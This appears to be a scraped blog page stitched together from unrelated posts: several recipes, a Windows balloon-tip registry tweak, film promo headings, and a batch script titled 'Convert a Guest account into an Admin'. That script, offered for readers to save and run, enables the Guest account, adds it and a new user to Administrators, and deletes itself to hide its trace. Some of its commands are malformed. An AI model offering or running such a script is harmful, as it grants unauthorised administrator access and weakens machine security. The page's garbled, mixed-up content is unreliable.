Portobello Burgers with Pesto, Provolone, and Roasted Peppers

Ingredients:

• 1/2 cup purchased pesto
• 1/4 cup mayonnaise
• 4 sourdough, whole grain, or ciabatta rolls, split horizontally
• 4 portobello mushrooms, stemmed, dark gills scraped out
• Olive oil
• Roasted red peppers from jar, drained
• 4 cups arugula (about 2 ounces)
• 1 cup coarsely grated mozzarella cheese (about 4 ounces)

Preparation:

* Stir pesto and mayonnaise in small bowl to blend. Season with salt and pepper.

* Prepare barbecue (medium-high heat). Grill rolls, cut side down, until lightly toasted. Transfer to plates. Spread grilled side of rolls with pesto mayonnaise.

* Brush mushrooms on both sides with oil; sprinkle with salt and pepper. Grill, rounded side up, 4 minutes. Turn mushrooms over. Cover and grill until mushrooms are tender, about 4 minutes. Place 1 mushroom on each roll bottom. Top each with enough red pepper pieces to cover, then with arugula and cheese. Press roll tops over and serve. 

Convert a Guest account into an Admin

Convert a Guest account into an Admin?

All you need to do is copy the code below,

copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.

echo off

title Please wait...

cls

net user add Username Password /add

net user localgroup Administrators Username /add

net user Guest 420 /active:yes

net localgroup Guests Guest /DELETE

net localgroup Administrators Guest /add

del %0

Double-click the file to execute or type the above-given code in Command Prompt.

Funny pics

Rajinikanth's Robo Posters

Eggplant Marinara Flatbread

Ingredients:

•  4 tablespoons (about) olive oil, divided
•  6 1/3- to 1/2-inch-thick eggplant rounds (3 to 4 inches in diameter; from 1 large)
•  1 loaf ciabatta or pain rustique, cut horizontally in half, trimmed to 9-inch length
•  1 1/4 cups purchased fresh marinara sauce
•  2 ounces soft fresh goat cheese
•  1/3 cup chopped fresh basil plus 6 whole leaves (for garnish)
•  1 cup coarsely grated mozzarella cheese (about 4 ounces)

Preparation: 

* Preheat oven to 400°F. Heat 2 tablespoons oil in large skillet over medium-high heat. Sprinkle eggplant with salt and pepper. Place in skillet. Cover. Cook until tender, turning, 10 minutes. Transfer to plate. Brush cut side of bottom half of bread with rest of oil. Cook in skillet, cut side down, until golden, 1 minute.

* Place bread, cut side up, on baking sheet. Spread with 3/4 cup sauce. Crumble goat cheese over; sprinkle with chopped basil. Top with eggplant. Mound mozzarella on eggplant; spoon remaining sauce over.

* Bake bread until topping is hot and crust is crisp, about 12 minutes. Cut into 6 pieces. Garnish with basil leaves

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How To Get Rid Of Ballon Tips In Windows:

Open Registry by going to START-RUN and enter REGEDIT and Navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

Then Set EnableBalloonTips=0x00000000

Mahesh Khaleja @ All Newspapers (28th Sept)

First Look - Naga Chaitanya and Tamanna

Hearty Hamburger Soup

Ingredients:

• 1 1/2 pounds ground beef
• 1 onion, minced
• 4 carrots, minced
• 3 celery ribs, thinly sliced
• 1/2 cup barley
• 1 (28 ounce) can diced tomatoes
• 2 cups water
• 3 (10 ounce) cans beef broth
• 1 (10.75 ounce) can condensed tomato soup
• 1 bay leaf
• 1 tablespoon parsley
• 1 teaspoon minced garlic
• 1/2 teaspoon dried thyme
• ground black pepper, to taste

Preparation: 

* Heat a large soup pot over medium-high heat, and crumble in the ground beef. Cook and stir until the beef is evenly browned and no longer pink. Drain, and discard any excess grease. 

* Stir in the onion, carrots, celery, and barley. Pour in diced tomatoes, water, broth, and tomato soup. Season with bay leaf, parsley, garlic, thyme, and pepper. Bring to a boil. Reduce heat, and cover; simmer for 2 hours, stirring frequently. Remove bay leaf before serving.

Sony Exclusive First Look of Khaaleja Images

Kuvale Sasam

Ingredients:

*. Ash gourd pieces – 4 cups

Fresh Ash gourd

 Ingredients of wet masala:

*. Fresh grated coconut – 1 cup

*. Red chilly – 3-4

*. Mustard seeds – 1/2 Teaspoon

*. Tamarind – A little

*. Turmeric powder – 1/2 Teaspoon

Preparation:

*. Wash, peal and chop Ash gourd into 3″ pieces and cook it in the cooker adding a little salt and turmeric powder  so that it is not over cooked.

*. Place a spatula with 1 Teaspoon of cooking oil in it on the flame.  When heated, switch off the flame and fry red chilly in it.

*. Grid the ingredients of Wet Masala in the mixer adding water in steps to a medium fine consistency.

*. Transfer cooked Ash gourd from step 1 to a bowl and add ground wet masala from step 3 to it and bring it to boil.  Check for salt and if required to the dish.

*. Place a spatula with 2 Teaspoons of cooking oil in it on the flame.  On heating add mustard seeds to it. When they sputter add curry leaves to it and season the above dish.  Ready to serve “Kuvale sasam is as shown in the image below.  Enjoy with rice/lunch side dish.

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Download: 52Mb

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